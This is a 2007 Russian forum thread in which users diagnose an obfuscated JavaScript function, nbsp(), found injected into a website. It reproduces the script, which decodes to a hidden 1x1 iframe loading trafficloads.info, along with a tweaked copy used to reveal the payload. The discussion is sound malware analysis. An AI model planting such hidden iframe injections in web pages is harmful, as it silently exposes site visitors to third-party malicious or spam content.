Добро пожаловать в форум, Guest  >>   Войти | Регистрация | Поиск | Правила | В избранное | Подписаться
Все форумы / PHP, Perl, Python Новый топик    Ответить
 Новый супер вирус или что?  [new]
SanSYS
Member

Откуда:
Сообщений: 1879
захожу на

и вижу как в статусбаре идет отправка инфы на [url=http://]http://trafficloads.info/out.php?s_id=1


каспер спервого раза поругался сильно, второй и последующие разы - не ругается.

на др. компах проверил, тож - с первого раза ругается, потом умолкает.

посмотрите код этого сайта, меня напрягает функция JS - nbsp() (ЭТО НЕ ПРОБЕЛ!)

вчера эта функция была прописана 1 раз. теперь там их штук 20.
звонил в тех поддержку на хост, нуль..

это вирь или нет, кто знает JS?
14 авг 07, 08:27    [4519978]     Ответить | Цитировать Сообщить модератору
 Re: Новый супер вирус или что?  [new]
SanSYS
Member

Откуда:
Сообщений: 1879
захожу на www.plgn.ru
14 авг 07, 08:28    [4519982]     Ответить | Цитировать Сообщить модератору
 Re: Новый супер вирус или что?  [new]
SanSYS
Member

Откуда:
Сообщений: 1879
спамеры!

function nbsp() {var t,o,l,i,j;
var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';
s+='060105102114097109101032115114099061034104116116112058047047116114097102102105099108111097100115046';
s=s+'105110102111047111117116046112104112063115095105100061049034032119105100116104061034049034032104101';
s=s+'105103104116061034049034032115116121108101061034100105115112108097121058110111110101034062060047105';
s=s+'102114097109101062';t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));
document.write(String.fromCharCode(t));t='';}}nbsp();

гады!

я в JS не шарю, но блин!
14 авг 07, 08:57    [4520050]     Ответить | Цитировать Сообщить модератору
 Re: Новый супер вирус или что?  [new]
Anjey aka PM
Member

Откуда: Файне місто Тернопіль
Сообщений: 3230
сделай ХТМЛ-шку у себя с вызовом функции (чуть подправил)

function nbsp() {var t,o,l,i,j;
var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';
s+='060105102114097109101032115114099061034104116116112058047047116114097102102105099108111097100115046';
s=s+'105110102111047111117116046112104112063115095105100061049034032119105100116104061034049034032104101';
s=s+'105103104116061034049034032115116121108101061034100105115112108097121058110111110101034062060047105';
s=s+'102114097109101062';t='';l=s.length;i=0; 
result = '';
while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));
result = result + String.fromCharCode(t));t='';}
alert(result);
}
nbsp();

и увидишь че оно там выводит то
14 авг 07, 15:47    [4523693]     Ответить | Цитировать Сообщить модератору
 Re: Новый супер вирус или что?  [new]
SanSYS
Member

Откуда:
Сообщений: 1879
да, я вчера точно таким же образом попробовал.

вот и говорю - спамеры!

идет создание фрейма, с ссылкой на чужой сайт.
15 авг 07, 09:32    [4526369]     Ответить | Цитировать Сообщить модератору
Все форумы / PHP, Perl, Python Ответить